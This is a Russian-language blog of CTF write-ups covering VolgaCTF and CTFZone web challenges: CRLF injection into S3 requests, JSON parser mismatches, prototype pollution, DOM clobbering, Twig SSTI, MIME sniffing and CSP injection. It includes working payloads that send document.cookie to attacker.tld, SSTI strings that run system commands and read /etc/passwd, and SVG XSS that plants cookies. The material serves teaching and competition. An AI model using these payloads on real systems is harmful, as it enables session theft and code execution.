29 марта 2021

VolgaCTF 2021 Quals / Online Wallet, Static Site writeups

Static Site

https://i.imgur.com/RWm3FRX.png

Задание представляет собой сайт, который состоит только из статики, часть из который подключается из Amazon S3 Bucket.

Идея взята из статьи Middleware, middleware everywhere - and lots of misconfigurations to fix. В случае, если в proxy_pass используются nginx переменные, содержащие перенос строки - это можно привести к CRLF Injection в запросе. Что особенно опасно при использовании Amazon S3, так как перезапись Host заголовка позволяет запросить файлы из произвольного bucket, созданного в том же регионе.

Это может произойти при использовании исключающих регулярных выражений

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

В задании использовался вариант с $uri, не упомянутый в статье. Данная переменная содержит нормализованное значение URI, переданное клиентом. Нормализация включает в себя преобразования относительных элементов пути "." и "..", замена повторяющихся "/" и url-декодирование.

location /static/ {
    proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}

Таким образом запрос /static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a будет отправлен следующим образом

GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

 HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

Что дает возможность атакующему вернуть свой HTML в контексте уязвимого сайта. Но Content Security Policy не позволял использовать inline script, поэтому для выполнения кода необходимо подключить еще один файл с использованием CRLF Injection.

Content Security Policy: ...; script-src 'self'...

Эксплуатация:

  • Создаем bucket в регионе us-east-1
  • Загружаем /static/xss.html
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>
  • Загружаем /static/xss.js
location.replace('//attacker.tld/?' + document.cookie)
  • Отправляем боту ссылку
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a

Многие остались недовольны тем, что необходимо угадывать регион для создания bucket, потому что иначе выдавало перенаправление с сообщением "Please re-send this request to the specified temporary endpoint". Это действительно вызывает проблемы при Subdomain Takeover, когда старый bucket был удален. Так как пересоздание bucket с таким же именем в другом регионе занимает около часа, пока Amazon синхронизирует информацию в своей огромной инфраструктуре. Но в данном случае узнать регион не составляет труда, так как Amazon публикует диапазоны IP всех своих сервисов по ссылке https://ip-ranges.amazonaws.com/ip-ranges.json

<?php
    $ip = gethostbyname($argv[1]);

    $ip_ranges = json_decode(file_get_contents('https://ip-ranges.amazonaws.com/ip-ranges.json'));

    foreach ($ip_ranges->prefixes as $prefix) {
        if(isset($prefix->ip_prefix)) {
            if(ip_in_network($ip, $prefix->ip_prefix))
                print("Service $prefix->service, region $prefix->region".PHP_EOL);
        }
    }

    function ip_in_network($ip, $range) {
        list($net_addr, $net_mask) = explode('/', $range);
        if($net_mask <= 0){ return false; }
            $ip_binary_string = sprintf("%032b", ip2long($ip));
            $net_binary_string = sprintf("%032b", ip2long($net_addr));
      return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
    }
?>
> php amazon_region.php volga-static-site.s3.amazonaws.com

Service AMAZON, region us-east-1
Service S3, region us-east-1

Online Wallet (part 1)

https://i.imgur.com/9DUV5DR.png

Данное задание представляет собой онлайн кошелек с функциями создания и перевода средств между своими счетами. Для получения флага необходимо запросить вывод денег со счета, но он доступен только при отрицательном балансе или более 150 токенов. При регистрации создается кошелек с балансом 100.

Идея уязвимости была взята из статьи An Exploration of JSON Interoperability Vulnerabilities.

При переводе средств между счетами происходило 2 различных парсинга JSON тела запроса.
Первый раз с помощью node через body-parser

const bodyParser = require('body-parser')

app.use(bodyParser.json({verify: rawBody}))

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

И второй раз при совершении транзакции в MySQL. Поле transaction имело тип JSON.

transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

Так как проверка баланса происходила в node, а выполнение транзакции в MySQL это вызывало следующие ошибки:

  • При переводе очень мелких сумм происходило пополнение второго кошелька, но баланс первого оставался 100 (объяснить это я затрудняюсь)

https://i.imgur.com/dVKTYZ2.png

https://i.imgur.com/vajdLZ9.png

https://i.imgur.com/b6Ic6kR.png

  • Из-за разных округлений в парсинге возможно было увести баланс в минус
Node
JSON.parse('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}').amount
100

MySQL
select json_extract('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}', '$.amount');
100.00000000000001

Таким образом, для получения флага достаточно было сделать 1 транзакцию. Но несмотря на мои попытки избавится от Race Condition, многие команды решили таск не так, как планировалось.

Online Wallet (part 2)

Во второй части задания участникам необходимо было сделать XSS и украсть cookie у бота.

В приложении была возможность смены языка, которая реализована загрузкой разной версии JS файла с Amazon S3 bucket.

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>

Через параметр lang можно установить произвольное значение языка, но символы <>" обрабатывались корректно

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_&lt;&gt;&#34;.js"></script>

Но, так как значение попадает в путь к скрипту, это позволяет подключить произвольный файл из данного bucket, используя следующее значение "?lang=/../foo".

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_/../foo.js"></script>

За счет листинга можно посмотреть все файлы и обнаружить deparam.js
https://i.imgur.com/LIMTOL8.png

Данная библиотека преобразует параметры из location.search в объект. Используя подсказку в исходном коде можно было найти репозиторий, содержащий примеры библиотек, уязвимых к Prototype Pollution и гаджеты, с помощью которых можно продемонстрировать выполнение произвольного JS кода https://github.com/BlackFan/client-side-prototype-pollution. Однако стандартный вариант Prototype Pollution действительно не работает, потому что объект создается без прототипа.

https://i.imgur.com/m7pjTEq.png

https://i.imgur.com/rg9fzyL.png

Но фикс исправляет только создание объектов, а библиотека deparam поддерживает массивы, через которые аналогично можно добраться до прототипа объекта следующим образом

https://i.imgur.com/rF9X364.png

Используя создание полей в прототипе объекта, атакующий может изменять логику существующих скриптов на странице, что может привести к XSS. Искать фрагмент кода, который будет эксплуатироваться через Prototype Pollution можно двумя путями - от обращения к неинициализированному полю до уязвимого кода. И наоборот, сначала выделить небезопасные фрагменты кода, а потом искать неинициализированные поля, которые на него влияют.

В первом случае поможет скрипт pollute.js от Michał Bentkowski. Но в данном случае проще было выбрать второй путь и использовать untrusted-types от filedescriptor. При наведении курсора на кнопку "Deposit" появлялся tooltip и расширение untrusted-types предупреждало о небезопасном использовании innerHTML в jQuery.

https://i.imgur.com/yF8wnAF.png

И если взглянуть на функцию getTipElement, становится понятно, что для этого фрагмента кода уже есть готовый XSS PoC в репозитории.

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://i.imgur.com/tBw33vk.png

Но остается еще одна проблема - для отображения tooptip необходимо вызвать onfocus для данного элемента.

<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
    <button class="btn btn-primary" type="button" disabled style="pointer-events:none;" data-i18n="deposit">
        Deposit
    </button>
</span>

Это можно сделать загрузив сайт в iframe и обновив src с добавлением id элемента "#depositButton", в результате чего фокус будет переведен на кнопку и bootstrap отобразит tooltip.

Эксплуатация

  • Через параметр lang подключить deparam.js
  • Обойти фикс Prototype Pollution через массивы
  • Вызвать небезопасный фрагмент кода через onfocus
  • Использовать XSS гаджет для jQuery
<iframe name="xss" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E"></iframe>
<script>
setTimeout(function() {
    xss.location="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E#depositButton"
}, 2000)
</script>

Исходный код заданий: https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals

01 февраля 2021

VolgaCTF 2020 / Notes writeup


Немного запоздавший разбор задания Notes из дополнительного конкурса финала VolgaCTF 2020.
Задание представляет собой сервис для создания заметок с поддержкой HTML тегов и смайлов.

https://i.imgur.com/vxFoQVj.png

Заголовок заметки позволяет использовать только текст и смайлы, а сам контент фильтруется с использованием jQuery и DOMPurify.

<h3>Title &lt;XSS&gt; <img class="smile" src="/static/smiles/dance.gif" name="dance"></h3>
<p id="content"></p>
...
<script>
var note = "Content\x20\x3CXSS\x3E\x20\x3Cimg\x20class\x3D\x22smile\x22\x20src\x3D\x22\x2Fstatic\x2Fsmiles\x2Fdance.gif\x22\x20name\x3D\x22dance\x22\x3E\x20";
$(document).ready(function() {
  try {
    $.globalEval("note = DOMPurify.sanitize(note)");
  } finally {
    content.innerHTML = note;
  }
});

Как видно из кода, для эксплуатации XSS необходимо, чтобы $.globalEval вернул исключение. Однако, сделать это через содержимое заметки довольно сложно, поэтому участникам необходимо было изучить реализацию остальных функций приложения, а именно - смайлов. Каждый смайл добавлялся в виде тега <img> с аттрибутом name . Добавление именованных img позволяет частично использовать технику DOM Clobbering.

То есть, создание заметки со смайлом :dance: приведет к созданию HTML тега <img name=dance> , который будет доступен в JavaScript через window.dance . Но именованные свойства поддерживаются не только объектом window , но и document, более того, используя это можно переопределить такие значения как document.cookie , document.documentElement , document.body и другие (https://html.spec.whatwg.org/multipage/dom.html#dom-document-namedItem-which).

https://i.imgur.com/gunkdMY.png

Рассмотрим, как именно выполняется функция $.globalEval

    function DOMEval( code, node, doc ) {
        doc = doc || document;
        var i, val,
            script = doc.createElement( "script" );
        script.text = code;
        ...
        doc.head.appendChild( script ).parentNode.removeChild( script );

Используя смайл :head: можно изменить логику выполнения данной функции и перезаписать document.head , но скрипт все равно выполнится корректно и DOMPurify удалит XSS.

https://i.imgur.com/zdVUw2Z.png

Но использование двух смайлов :head: :head: приведет к созданию HTMLCollection в document.head в результате чего вызов document.head.appendChild вернет исключение в $.globalEval и контент заметки не будет отфильтрован.

https://i.imgur.com/Ylq3MRn.png

Данная особенность позволяет изменять логику выполнения JS скриптов и приводит к забавным эффектам.
Пример (не относится к CTF таску):

<div id=x></div>
<iframe name=documentElement srcdoc='<a href="tel:<img/src/onerror=alert(1)>" id=clientWidth>a</a>'></iframe>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script>
  $("#x").html('innerWidth:'+$(window).innerWidth()) //  == innerWidth:tel:<img/src/onerror=alert(1)>
</script>

Рекомендуемые ссылки:
https://portswigger.net/research/dom-clobbering-strikes-back
https://bugzilla.mozilla.org/show_bug.cgi?id=1420032
https://html.spec.whatwg.org/multipage/dom.html#dom-document-namedItem-which
https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41
https://blog.bi0s.in/2020/08/26/Web/GoogleCTF20-SafeHtmlPaste/

29 марта 2020

VolgaCTF 2020 Qualifier Writeup


Завершились очередные отборочные VolgaCTF 2020, для которых я написал 3 web задания. В процессе создания создания, тестирования тасков и мониторинга решений команд обнаружилось большое количество интересных особенностей, которые я решил описать в блоге.

Newsletter (web server side, 200pts)

Мини-задание с исходным кодом. Использовались свежие версии Symfony 5.0.5, Twig 3.0.3. Командам необходимо было найти вариант эксплуатации Server Side Template Injection, при этом чтобы он оставался валидным по RFC 5321, RFC 5322 (в реализации php).

public function subscribe(Request $request, MailerInterface $mailer)
{
  $msg = '';
  $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
  if($email !== FALSE) {
    $name = substr($email, 0, strpos($email, '@'));

    $content = $this->get('twig')->createTemplate(
      "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
    )->render();

    $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
    $mailer->send($mail);

Дополнительной сложностью была необходимость получать результат SSTI на email вида {{ssti}}@attacker.tld, но это решалось поднятием мини-SMTP сервера и настройкой DNS.

Чтобы увеличить количество разрешенных символов, можно использовать формат записи в двойных кавычках, например "{{ssti()}}"@attacker.tld.

Так как публичных способов эксплуатации SSTI в Twig 3 нет, я расчитывал что участники быстро найдут Twig Extensions Defined by Symfony и фильтр уязвимый к Arbitrary File Reading (именно по этому флаг был в /etc/passwd).

Таким образом запланированное решение:

POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Content-Type: application/x-www-form-urlencoded

email="{{'/etc/passwd'|file_excerpt(1,30)}}"@attacker.tld

Но некоторые команды пошли дальше и даже получили Remote Code Execution, пример от @Paul_Axe из More Smoked Leet Chicken:

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Content-Type: application/x-www-form-urlencoded

email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Order of the Grey Fang нашли возможность сделать Arbitrary File Read и Arbitrary File Write, но из-за ограничения по длине email не смогли использовать их для получения флага.
https://github.com/TeamGreyFang/CTF-Writeups/blob/master/VolgaCTF2020/Web-Newsletter/README.md

File Write
POST /subscribe?1=/tmp/x/ HTTP/1.1
email="{{app.request.files.get(1).move(app.request.query.get(1))}}"@attacker.tld

File Read
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

И самое неожиданное решение - RCE в Twig без привязки к Symfony Twig Extensions от команды OpenToAll.
https://ctftime.org/writeup/19230

"{{['cat${IFS}/etc/passwd']|filter('system')}}"@your.domain

User Center (web client side, 300pts)

В задании необходимо было составить цепочку из двух XSS для получения cookie с основного домена.

volgactf-task.ru - mail domain
api.volgactf-task.ru - api server
static.volgactf-task.ru - amazon s3, на котором хранятся аватары пользователей

Бот основан на Selenium + Firefox 74.0

XSS на static.volgactf-task.ru

Участники могли загружать файлы с произвольным Content-Type в качестве аватара. Файлы хранились на Amazon S3 и загружались через aws/aws-sdk-php.

Интересная особенность, которые я выявил при тестировании таска:
Firefox пытается угадать тип файла, если в заголовке Content-Type нет символа /. Причем X-Content-Type-Options: nosniff в данном случае никак не влияет, так как используется Firefox только при попытке подключить файлы с некорректными content-type в <script src=> и <link rel="stylesheet" href=>

Примеры:

https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx&nosniff=0&xss=%3Chtml%3E%3Cs%3E123
https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx&nosniff=1&xss=%3Chtml%3E%3Cs%3E123
https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx/xxx&nosniff=0&xss=%3Chtml%3E%3Cs%3E123

Участникам необходимо было обойти следующие ограничения:

  1. Content-Type обязательно содержит / в первой части (до параметров)
  2. Content-Type не содержит подстрок html xml xsl в первой части (до параметров)

Запланированное решение - перебрать большой список mime-type и найти те, которые подходят по условиям и обрабатываются как text/html. Для этого можно использовать страницу с множеством iframe и просмотреть как Firefox отрендерит контент с каждым типом файла.

Примеры, которые я нашел:
Firefox text/rdf обрабатывается как XML (пример)

Content-Type: text/rdf

<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>

Firefox multipart/x-mixed-replace поддерживает HTML (пример)
Edge обрабатывает такой тип как обычный HTML если отсутсвует nosniff.

Content-Type: multipart/x-mixed-replace;boundary=xxx

xxx
Content-Type:text/html

<script>alert(document.domain)</script>
xxx--

Chrome text/xsl обрабатывается как XML (пример)

Content-Type: text/xsl

<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>

Edge text/vtt обрабатывается как HTML (пример)

Content-Type: text/vtt

<script>alert(document.domain)</script>

Особенности обнаруженные участниками

Firefox */* угадывание типа по контенту (пример)

Content-Type: */*

<script>alert(document.domain)</script>

Chrome, Firefox text/plain;,text/html поддерживается указание нескольких Content-Type через запятую (пример)

Content-Type: text/plain;,text/html

<script>alert(document.domain)</script>

aws/aws-sdk-php уязвимо к CRLF Injection
Что в том числе это дает возможность указать "type":"text/htm\rl", обойти проверку и получить обычный html файл. Либо вытеснить / в следующий заголовок и сделать пустой Content-Type "type":"\r\nFoo:/", в результате чего Firefox определяет тип файла по контенту.
Уязвимый фрагмент кода:

$result = $s3->putObject([
  'Bucket'      => 'volgactf-task2-storage',
  'Key'         => $key,
  'Body'        => base64_decode($file),
  'ACL'         => 'public-read',
  'ContentType' => $type
]);

XSS на volgactf-task.ru

XSS на static поддомене позволяет атаковать основное приложение через добавление произвольных cookie.
Уязвимый фрагмент кода:

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&Вґ()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}
...
api = 'api';
if(Cookies.get('api_server')) {
  api = replaceForbiden(Cookies.get('api_server'));
} else {
  Cookies.set('api_server', api, {secure: true});
}
...
function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });

jQuery поддерживает обработку ответа как JSONP с callback, если jsonp: false не задано явно. Изначально я узнал об этом из CTF задания SPA SECCON 2019 Quals. Но несмотря на то, что в документации указано callback=? на самом деле достаточно просто =? или ??.
Изменения регулярного выражения для callback:

>  1.7.2 /(=)\?(?=&|$)|\?\?/
<= 1.7.2 /(\=)\?(&|$)|\?\?/i
<= 1.5.1 /(\=)\?(&|$)|()\?\?()/i
<= 1.4.4 /\=\?(&|$)/
<= 1.4.2 /=\?(&|$)/
<= 1.2.1 /=(\?|%3F)/g
<  1.2   not supported

Примеры кода:

$.ajax({url:'https://attacker.tld/??', dataType:'json'});
$.ajax({url:'https://attacker.tld/=?&', dataType:'json'});
$.getJSON('https://attacker.tld??');
$.getJSON('https://??.attacker.tld');

Таким образом можно использовать callback даже в поддомене и единственный символ, который для этого необходим ?.

$.getJSON('https://??.attacker.tld');
=
https://jquery34104413374753421222_1585476699425.attacker.tld/?_=1585476699426

В задании функция replaceForbiden, также заменяла все не ASCII символы на ?.
Мое решение:

<script> 
document.cookie="api_server=attacker.tld�attack��; path=/profile.html; domain=.volgactf-task.ru";
location="https://volgactf-task.ru/profile.html"
</script>
if(strpos($_SERVER['QUERY_STRING'], 'attack') !== FALSE) {
  die('location="https://attacker.tld/?c="+document.cookie;');
}

При обработке данного значения Cookie будет произведен запрос на сервер атакующего и ответ обработан как JS код. Установка path необходима, чтобы cookie атакующего была в списке раньше оригинальной.

https://attacker.tld/?attackjQuery34102886072906354682_1585477379154&_=1585477379155

К сожалению я пропустил момент, что в ссылке также присутсвует guid и можно было решить чуть проще через =?:

<script> 
document.cookie="api_server=attacker.tld�; path=/profile.html; domain=.volgactf-task.ru";
location="https://volgactf-task.ru/profile.html?guid=?"
</script>

VolgaCTF Archive (web client side, 300pts)

Мини-таск на client side фишки, для которого нужно в эксплоите написать больше JavaScript, чем есть в самом задании.
Бот основан на Selenium + Chrome 80.

Уязвимый фрагмент кода:

$(window).on('hashchange', function(e) {
  volgactf.activePage.location=location.hash.slice(1);
  ...
  $('#page').attr('src',volgactf.pages[volgactf.activePage.location]);

Объект volgactf определен в отдельном JS файле и подгружается по относительному пути js/main.js.

Краткое описание решения выглядит так:

  1. Заблокировать загрузку js/main.js, чтобы объект volgactf был undefined
  2. Используя Frame Hijacking + DOM Clobbering сделать так, чтобы volgactf.activePage был iframe с origin archive.q.2020.volgactf.ru
  3. Обновить location страницы изменив только hash на #javascript:alert(document.domain), чтобы вызвать событие hashchange

Блокировка js/main.js

Относительный путь в браузере определяется от начала location.pathname до последнего /. В то время как веб-сервер часто дополнительно нормализует URL-кодированное значение в пути. Таким образом если запросить:

https://archive.q.2020.volgactf.ru/x/..%2F

Nginx нормализует путь и корректно обработает запрос как /index.html. А браузер попытается запросить main.js по пути /x/js/main.js. В результате чего объект volgactf не будет создан.

Примеры блокировки от участников:
Дополнение Request-URI таким количеством /, чтобы запрос на index был обработан корректно, а добавленный js/main.js переполнял URI.

https://archive.q.2020.volgactf.ru////[.....]/////              200 OK

https://archive.q.2020.volgactf.ru////[.....]/////js/main.js    414 Request-URI Too Large

Рекомендуется почитать:
Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Frame Hijacking

Так как в задании не используется заголовок X-Frame-Options - страницу можно завернуть в <iframe> на сайте атакующего и, таким образом, получить возможность изменить значение location у внутреннего iframe на странице задания.

https://i.imgur.com/msgmTdw.png
Рекомендуется почитать:
HTML 5.2 Security infrastructure for Window, WindowProxy, and Location objects
The Tangled Web by Michal Zalewski, Chapter 11. Life Outside Same-Origin Rules

DOM Clobbering

Рекомендуется почитать:
HTML 5.2 Named access on the Window object
DOM Clobbering
DOM Clobbering Strikes Back

Браузеры позволяют обращаться к DOM элементам через window по указанным id и name (для некоторых тегов).

<div id="test1">
alert(window.test1)
alert(test1)

<iframe src="test" name="test2"></iframe>
alert(test2)

<iframe src="data:text/html,<script>window.name='test3'</script>"></iframe>
alert(test3) // Uncaught DOMException: Blocked a frame with origin "https://attacker.tld" from accessing a cross-origin frame.

Причем для Chrome это также работает, если iframe сам устанавливает window.name. Более того, window.name сохраняется при изменении iframe location.

Решение

https://i.imgur.com/TrO0qLl.png

  1. Заворачиваем https://archive.q.2020.volgactf.ru/x/..%2F в iframe
  2. Изменяем location window.frames[0].frames[0] на контролируемый ресурс
  3. Изменяем во внутреннем iframe window.name на volgactf
  4. Добавляем <iframe name=activePage src=https://archive.q.2020.volgactf.ru/>
  5. Изменяем у основного iframe location на https://archive.q.2020.volgactf.ru/x/..%2F#javascript:xss

Пример

<iframe src='https://archive.q.2020.volgactf.ru/x/..%2f'></iframe>
<script>
window.onload=function (){
  frames[0].frames[0].location='data:text/html;base64,PGlmcmFtZSBuYW1lPWFjdGl2ZVBhZ2Ugc3JjPWh0dHBzOi8vYXJjaGl2ZS5xLjIwMjAudm9sZ2FjdGYucnUvP2FhYT48L2lmcmFtZT48c2NyaXB0PndpbmRvdy5uYW1lPSd2b2xnYWN0Zic7PC9zY3JpcHQ+';
  setTimeout(function(){frames[0].location='https://archive.q.2020.volgactf.ru/x/..%2f#javascript:alert(document.domain)'},1000)
}
</script>

UPDATE 17.04.2020: В Firefox 75 сделали более строгую обработку X-Content-Type-Options, которая теперь поддерживает обычную загрузку страниц с неправильным Content-Type, а не только подключение файлов как JS или CSS, в результате чего некоторые из указанных фишек перестали работать, например Content-Type без символа / и Content-Type */*.

03 декабря 2019

CTFZone 2019 Quals - Shop Task


Приложение позволяет создавать заявки в техподдержку, которые обрабатываются ботом.
Вложения сохраняются на отдельном поддомене:

web-shop.ctfz.one
uploads.web-shop.ctfz.one

img

CSP Injection

В заголовке Content-Security-Policy используется значение cookie scope, с помощью которой можно добавить дополнительный report-uri и разрешающие правила script-src для проведения XSS.

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope=$$cookie_scope$$;

В переменной фильтровались некоторые символы, но тем не менее использование protocol-relative uri и числовое представление IP адреса сработало.

Пример:

Cookie: scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;

В итоге Content-Security-Policy выглядело следующим образом

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope= //758608540/; 
    script-src 'unsafe-inline' 'self' 'unsafe-eval';

Добавленный report-uri я использовал для получения информации от бота через отчеты о нарушении CSP. Например, если запретить self в script-src получится следующее:

img

Установка Cookie

Теперь для эксплуатации XSS необходимо найти возможность устанавливать произвольные cookie значения, чтобы отключить CSP.
Оказалось, что вложения в заявках позволяли использовать SVG изображения, таким образом можно было получить SVG XSS в контексте сайта uploads.web-shop.ctfz.one. А используя XSS на поддомене uploads можно создать cookie указав domain=.web-shop.ctfz.one.

Пример SVG:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
  </script>
</svg>

Для того, чтобы XSS сработала - SVG нужно открыть на отдельной странице.

http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg

После этого запрос к web-shop.ctfz.one будет содержать 2 разных cookie scope, но веб приложение использует последнюю с CSP Injection.

img

В случае, если бы приложение использовало только первую cookie, можно было бы добавить атрибут path=/ticket/ и перенести добавленный scope в начало заголовка Cookie, так как согласно RFC 6265

   2.  The user agent SHOULD sort the cookie-list in the following
       order:

       *  Cookies with longer paths are listed before cookies with
          shorter paths.

       *  Among cookies that have equal-length path fields, cookies with
          earlier creation-times are listed before cookies with later
          creation-times.

Бот обрабатывал и открывал все ссылки, указанные в комментариях к заявке. Таким образом, отправив сообщение с ссылкой на SVG можно было установить боту необходимую cookie.

XSS

На последнем шаге необходимо было найти саму XSS, что оказалось самым сложным для меня. Комментарии поддерживали markdown, но самые очевидные javascript ссылки не работали.

[xxx<xxx](http://xxx)

<a href="http://xxx">xxx<xxx</a>

Используя markdown ссылки можно было протащить в HTML один символ <, в результате чего создавался некорректный тег “<xxx<”, что после обработки браузером выглядело вот так:

img

Так как на странице был не голый HTML, а также использовались jquery-3.2.1.slim.min.js, popper.min.js и bootstrap.min.js - можно попробовать найти script gadget с помощью которого сделать XSS. Финальный вариант основан на CVE-2018-14041 https://github.com/twbs/bootstrap/issues/26627 и работает без пользовательских действий, хотя на вид выглядит не особо корректно. В живую посмотреть можно тут https://jsbin.com/cewuvubalu/1/edit?html,output.

[x<x<x data-spy=scroll data-target=<img/src/onerror=eval(location.hash.slice(1))&gt; zz](http://)

<a href="http://">x<x&lt;x data-spy=scroll data-target=&lt;img/src/onerror=eval(location.hash.slice(1))&gt; zz</a>

В итоге решение было таким:

  • Создать тикет с XSS
  • Создать тикет с SVG и вставить перенаправление на тикет с XSS
<svg ...>
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
    location="http://web-shop.ctfz.one/ticket/541c92e3-d1c5-47f0-9668-9d4c3f6c7dc1#jQuery('#inputText').val('pwn');jQuery('.btn').click();";
  </script>
</svg>
  • Отправить боту ссылку на SVG
[svg](http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg)
  • Получить флаг в ответном сообщении, которое бот отправит через XSS

img

20 сентября 2019

VolgaCTF 2019 SmartHome Writeup

В этом году я подготовил для финала VolgaCTF дополнительный конкурс, посвященный взлому типичной инфраструктуры с которой работают умные дома. У конкурса не было конкретных указаний что именно нужно взломать, а был лишь указан scope:

Выглядело это примерно так:

Flag 0

Первым делом необходимо было собрать информацию о поддоменах пробрутив dns, либо посмотрев на список выпущенных сертификатов.

https://crt.sh/?q=%.volgactf-iot.pw

ftp.volgactf-iot.pw  
storage.volgactf-iot.pw  
mqtt.volgactf-iot.pw  
api.volgactf-iot.pw  

FTP сервер содержал исходный код gateway на node.js и Flag 0.

Flag 1

После авторизации на API сервере мобильное приложение создает учетную запись для подключения к MQTT, чтобы взаимодействовать напрямую с gateway.

MQTT сервер позволял пользователям подписываться на сообщения системных топиков $SYS, в который MQTT брокер публикует информацию о клиентах, в числе которых был пользователь с флагом.

mqtt = require('mqtt');
var client  = mqtt.connect({host: 'mqtt.volgactf-iot.pw',
        protocol: 'mqtts',
        port: 8883,
        path: '/',
        clientId: 'clientid_user_526b14197252d44448df004c90652d52', 
        username: 'user', 
        password: '912a5b',
    });
client.on('connect', function () {
    client.subscribe('$SYS/#', function (err) {})
})
client.on('message', function (topic, message) {
  console.log(topic, message.toString())
})

На этом этапе можно было также заметить, что хэш в конце clientid - это md5 от 6-ти символьного пароля пользователя. И, дождавшись подключения администратора к MQTT, можно было получить учетную запись для доступа к gateway администратора, сбрутив пароль.

Flag 2

Gateway представлял собой Raspberry Pi Zero W с камерой, USB dongle CC2531 и датчик движения от Xiaomi. Изначально предполагалось повесить его в зале докладов и делать фотографии по датчику движения, но из-за технических проблем это не получилось сделать.

В исходном коде gateway было указано 2 флага. Для доступа к первому достаточно было послать на gateway команду get_flag и получить ответ в соответствующем топике.

client.subscribe('gateway/gateway02/clientid_user_526b14197252d44448df004c90652d52', function (err) {})
client.publish('mobile/user/clientid_user_526b14197252d44448df004c90652d52', '{"cmd":"get_flag"}');

Flag 3

Второй флаг gateway был указан лишь в конфигурационном файле и не использовался в коде. Для доступа к нему необходимо было проэксплуатировать атаку Prototype Pollution. Подробнее о ней можно почитать тут
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf.

function photo(client_id, command) {
    ...
    camera.snap()
        .then((result) => {
            ...
                    result = JSON.parse(body);
                    if(result.result) {
                        merge(result, command);
